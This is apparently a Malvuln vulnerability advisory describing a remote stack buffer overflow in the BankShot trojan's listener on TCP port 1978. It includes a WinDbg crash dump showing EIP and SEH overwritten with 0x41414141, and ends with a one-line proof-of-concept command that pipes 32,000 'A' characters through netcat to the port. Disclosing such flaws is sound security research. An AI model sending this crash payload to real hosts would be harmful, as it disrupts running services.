Trojan.Win32 BankShot MVID-2024-0669 Buffer Overflow

Discovery / credits: Malvuln (John Page aka hyp3rlinx) © 2024
Original source: https://malvuln.com/advisory/f2fd6a7b400782bb43499e722fb62cf4.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan.Win32 BankShot
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware listens on TCP port 1978 and creates a local Windows service running with SYSTEM integrity. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting ECX, EIP registers and Structured Exception Handler (SEH)
Family: BankShot
Type: PE32
MD5: f2fd6a7b400782bb43499e722fb62cf4
Vuln ID: MVID-2024-0669
ASLR: Not Enabled
DEP: Enabled
SEH: Not Enabled
CFG: Not Enabled
Disclosure: 01/30/2024

Memory Dump:
(16bc.cf8): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000 edi=00000000
eip=41414141 esp=061511f0 ebp=06151210 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:005> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000 edi=00000000
eip=41414141 esp=061511f0 ebp=06151210 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:005> !analyze -v

---

•                                                                         *  
  

•                    Exception Analysis                                   *  
  

•                                                                         *  
  

---

*** WARNING: Unable to verify checksum for MouseServer.exe
*** ERROR: Module load completed but symbols could not be loaded for MouseServer.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
MouseServer+2a95e
0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi]

EXCEPTION_RECORD: 0624dec4 – (.exr 0x624dec4)
ExceptionAddress: 0042a95e (MouseServer+0x0002a95e)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 06250000
Attempt to write to address 06250000

PROCESS_NAME: MouseServer.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
MouseServer+2a95e
0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi]

FAILED_INSTRUCTION_ADDRESS:
+2a95e
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 41414141

IP_IN_FREE_BLOCK: 41414141

CONTEXT: 0624df14 – (.cxr 0x624df14)
eax=027fce88 ebx=0624fbfc ecx=000008d8 edx=00001d00 esi=027fc5b0 edi=06250000
eip=0042a95e esp=0624e374 ebp=0624fbf0 iopl=0 nv up ei pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203
MouseServer+0x2a95e:
0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
Resetting default scope

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 41414141 to 0042a95e

FRAME_ONE_INVALID: 1

STACK_TEXT:
0624e374 0042a95e mouseserver+0x2a95e
0624fbf8 41414141 unknown!printable+0x0

STACK_COMMAND: .cxr 000000000624DF14 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 624e374 ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: mouseserver+2a95e

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: MouseServer

IMAGE_NAME: MouseServer.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 58eb1b3a

FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_MouseServer.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_mouseserver+2a95e

0:005> !exchain
0624ddd4: ntdll!ExecuteHandler2+44 (77309d70)
0624fbe4: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
C:\Users\gg\Desktop>python -c "print('A’*32000)" | nc64.exe x.x.x.x 1978
system windows 6.2
version 1.7.4.0
serverid 7E8539FB-5E68-464F-AE62-129E95A7DFB8

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